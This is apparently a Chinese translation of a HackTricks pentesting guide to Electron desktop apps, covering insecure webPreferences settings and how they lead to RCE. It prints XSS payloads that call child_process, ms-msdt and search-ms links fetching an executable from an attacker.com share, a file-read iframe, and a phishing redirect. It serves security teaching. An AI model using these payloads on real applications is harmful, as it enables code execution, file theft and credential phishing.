Electron Desktop Apps

Reading time: 20 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

介绍

Electron结合了本地后端(使用NodeJS)和前端(Chromium),尽管它缺乏现代浏览器的一些安全机制。

通常,您可能会在.asar应用程序中找到electron应用代码,获取代码需要提取它:

bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

在Electron应用的源代码中,在packet.json文件内,可以找到指定的main.js文件,其中设置了安全配置。

json
{
"name": "standard-notes",
"main": "./app/index.js",

Electron 有 2 种进程类型:

  • 主进程(完全访问 NodeJS)
  • 渲染进程(出于安全原因,应该限制对 NodeJS 的访问)

一个 渲染进程 将是一个加载文件的浏览器窗口:

javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()

//Open Renderer Process
win.loadURL(`file://path/to/index.html`)

renderer process 的设置可以在 main process 中的 main.js 文件中进行 配置。一些配置将 防止 Electron 应用程序获取 RCE 或其他漏洞,如果 设置正确配置

Electron 应用程序 可以通过 Node apis 访问设备,尽管可以配置以防止它:

  • nodeIntegration - 默认情况下为 off。如果开启,允许从 renderer process 访问 node 特性。
  • contextIsolation - 默认情况下为 on。如果关闭,主进程和渲染进程不被隔离。
  • preload - 默认情况下为空。
  • sandbox - 默认情况下为 off。它将限制 NodeJS 可以执行的操作。
  • Node Integration in Workers
  • nodeIntegrationInSubframes - 默认情况下为 off
  • 如果 nodeIntegration启用,这将允许在 Electron 应用程序中 加载在 iframes 中的网页 使用 Node.js APIs
  • 如果 nodeIntegration禁用,则预加载将在 iframe 中加载。

配置示例:

javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}

一些 RCE payloads 来自 这里:

html
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />

Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />

捕获流量

修改 start-main 配置并添加使用代理,例如:

javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electron 本地代码注入

如果您可以本地执行一个 Electron 应用程序,那么您可能可以使其执行任意的 JavaScript 代码。查看如何操作:

macOS Electron Applications Injection

RCE: XSS + nodeIntegration

如果 nodeIntegration 设置为 on,网页的 JavaScript 可以通过调用 require() 轻松使用 Node.js 功能。例如,在 Windows 上执行计算器应用程序的方法是:

html
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>

RCE: preload

在此设置中指示的脚本是在渲染器中加载其他脚本之前,因此它具有对 Node API 的无限访问权限

javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

因此,脚本可以将 node-features 导出到页面:

preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
index.html
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>

[!NOTE] > 如果 contextIsolation 开启,这将无法工作

RCE: XSS + contextIsolation

contextIsolation 引入了 网页脚本与 JavaScript Electron 内部代码之间的分离上下文,使得每段代码的 JavaScript 执行不会相互影响。这是消除 RCE 可能性的必要特性。

如果上下文没有被隔离,攻击者可以:

  1. 在渲染器中执行 任意 JavaScript(XSS 或导航到外部网站)
  2. 覆盖内置方法,该方法在预加载或 Electron 内部代码中被使用,替换为自己的函数
  3. 触发 使用 被覆盖的函数
  4. RCE?

内置方法可以被覆盖的地方有两个:在预加载代码中或在 Electron 内部代码中:

Electron contextIsolation RCE via preload code

Electron contextIsolation RCE via Electron internal code

Electron contextIsolation RCE via IPC

绕过点击事件

如果在点击链接时施加了限制,你可能能够通过 中间点击 而不是常规的左键点击来绕过这些限制。

javascript
window.addEventListener('click', (e) => {

RCE via shell.openExternal

有关此示例的更多信息,请查看 https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8https://benjamin-altpeter.de/shell-openexternal-dangers/

在部署 Electron 桌面应用程序时,确保 nodeIntegrationcontextIsolation 的正确设置至关重要。已确定,客户端远程代码执行 (RCE) 针对预加载脚本或 Electron 的主进程本地代码在这些设置到位时有效防止。

当用户与链接互动或打开新窗口时,会触发特定的事件监听器,这对应用程序的安全性和功能至关重要:

javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

这些监听器被桌面应用程序重写以实现其自己的业务逻辑。该应用程序评估导航链接是否应该在内部打开或在外部网页浏览器中打开。这个决定通常通过一个函数openInternally来做。如果这个函数返回false,则表示链接应该在外部打开,利用shell.openExternal函数。

以下是简化的伪代码:

https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png

https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png

Electron JS安全最佳实践建议不要使用openExternal函数接受不受信任的内容,因为这可能通过各种协议导致RCE。操作系统支持不同的协议,这些协议可能触发RCE。有关此主题的详细示例和进一步解释,可以参考这个资源,其中包括能够利用此漏洞的Windows协议示例。

在macos中,openExternal函数可以被利用来执行任意命令,例如shell.openExternal('file:///System/Applications/Calculator.app')

Windows协议漏洞的示例包括:

html
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>

<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>

<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>

读取内部文件:XSS + contextIsolation

禁用 contextIsolation 使得可以使用 <webview> 标签,类似于 <iframe>,用于读取和提取本地文件。提供的示例演示了如何利用此漏洞读取内部文件的内容:

此外,还分享了另一种 读取内部文件 的方法,突出了 Electron 桌面应用中的一个关键本地文件读取漏洞。这涉及注入脚本以利用该应用并提取数据:

html
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>

RCE: XSS + 旧版 Chromium

如果应用程序使用的 chromium旧版 并且存在 已知的 漏洞,那么可能可以通过 XSS 利用它并获得 RCE
您可以在这个 writeup 中看到一个例子: https://blog.electrovolt.io/posts/discord-rce/

通过内部 URL 正则绕过进行 XSS 钓鱼

假设您发现了一个 XSS,但您 无法触发 RCE 或窃取内部文件,您可以尝试利用它来 通过钓鱼窃取凭据

首先,您需要了解当您尝试打开一个新 URL 时,前端的 JS 代码会发生什么:

javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

对**openInternally的调用将决定链接是作为平台的链接在桌面窗口打开**,还是作为第三方资源浏览器中打开。

如果该函数使用的regex对绕过漏洞(例如未转义子域的点)是脆弱的,攻击者可以利用XSS打开一个新窗口,该窗口位于攻击者的基础设施中,向用户请求凭据

html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

Remote module

Electron Remote模块允许渲染进程访问主进程API,促进Electron应用程序内的通信。然而,启用此模块会引入重大安全风险。它扩大了应用程序的攻击面,使其更容易受到跨站脚本(XSS)攻击等漏洞的影响。

tip

尽管remote模块将一些API从主进程暴露给渲染进程,但仅仅通过滥用组件并不容易获得RCE。然而,这些组件可能会暴露敏感信息。

warning

许多仍然使用remote模块的应用程序以需要在渲染进程中启用NodeIntegration的方式进行,这是一种巨大的安全风险

自Electron 14以来,由于安全和性能原因,Electron的remote模块可能在多个步骤中启用,建议不要使用它

要启用它,首先需要在主进程中启用它

javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)

然后,渲染进程可以从模块中导入对象,例如:

javascript
import { dialog, getCurrentWindow } from '@electron/remote'

blog post 指出了一些由远程模块的对象 app 暴露的有趣 函数

  • app.relaunch([options])
  • 重新启动 应用程序,通过 退出 当前实例并 启动 新实例。对于 应用更新 或重大 状态变化 很有用。
  • app.setAppLogsPath([path])
  • 定义创建 一个目录来存储 应用日志。可以使用 app.getPath()app.setPath(pathName, newPath)检索修改 日志。
  • app.setAsDefaultProtocolClient(protocol[, path, args])
  • 注册 当前可执行文件作为指定 协议默认处理程序。如有需要,可以提供 自定义路径参数
  • app.setUserTasks(tasks)
  • 添加 任务到 任务类别跳转列表(在 Windows 上)。每个任务可以控制应用程序如何 启动 或传递什么 参数
  • app.importCertificate(options, callback)
  • 导入 一个 PKCS#12 证书 到系统的 证书存储(仅限 Linux)。可以使用 回调 来处理结果。
  • app.moveToApplicationsFolder([options])
  • 移动 应用程序到 应用程序文件夹(在 macOS 上)。帮助确保 Mac 用户的 标准安装
  • app.setJumpList(categories)
  • 设置移除 一个 自定义跳转列表Windows 上。可以指定 类别 来组织任务如何显示给用户。
  • app.setLoginItemSettings(settings)
  • 配置登录 时启动的 可执行文件 及其 选项(仅限 macOS 和 Windows)。
javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()

systemPreferences 模块

在 Electron 中访问系统偏好设置和 发出系统事件主要 API。像 subscribeNotificationsubscribeWorkspaceNotificationgetUserDefaultsetUserDefault 这样的函数都是这个模块的 一部分

示例用法:

javascript
const { systemPreferences } = require('electron');

// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});

// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);

subscribeNotification / subscribeWorkspaceNotification

  • 监听 本地 macOS 通知,使用 NSDistributedNotificationCenter。
  • macOS Catalina 之前,您可以通过将 nil 传递给 CFNotificationCenterAddObserver 来嗅探 所有 分发的通知。
  • Catalina / Big Sur 之后,沙盒应用仍然可以通过按 名称 注册通知来 订阅 许多事件(例如,屏幕锁定/解锁卷挂载网络活动等)。

getUserDefault / setUserDefault

  • NSUserDefaults 接口,它在 macOS 上存储 应用程序全局 偏好设置。

  • getUserDefault 可以 检索 敏感信息,例如 最近的文件位置用户的地理位置

  • setUserDefault 可以 修改 这些偏好设置,可能会影响应用的 配置

  • 旧版 Electron(v8.3.0 之前)中,只有 标准套件 的 NSUserDefaults 是 可访问的

Shell.showItemInFolder

此函数在文件管理器中显示给定文件,这 可能会自动执行该文件

有关更多信息,请查看 https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html

Content Security Policy

Electron 应用应具有 内容安全策略 (CSP)防止 XSS 攻击CSP 是一种 安全标准,有助于 防止 在浏览器中 执行 不受信任的代码

它通常在 main.js 文件或 index.html 模板中通过 meta 标签 配置 CSP。

有关更多信息,请查看:

Content Security Policy (CSP) Bypass

工具

  • Electronegativity 是一个识别 Electron 应用程序中配置错误和安全反模式的工具。
  • Electrolint 是一个用于 Electron 应用程序的开源 VS Code 插件,使用 Electronegativity。
  • nodejsscan 用于检查易受攻击的第三方库
  • Electro.ng: 您需要购买它

实验室

https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s 中,您可以找到一个实验室来利用易受攻击的 Electron 应用程序。

一些将帮助您完成实验室的命令:

bash
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

参考文献

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks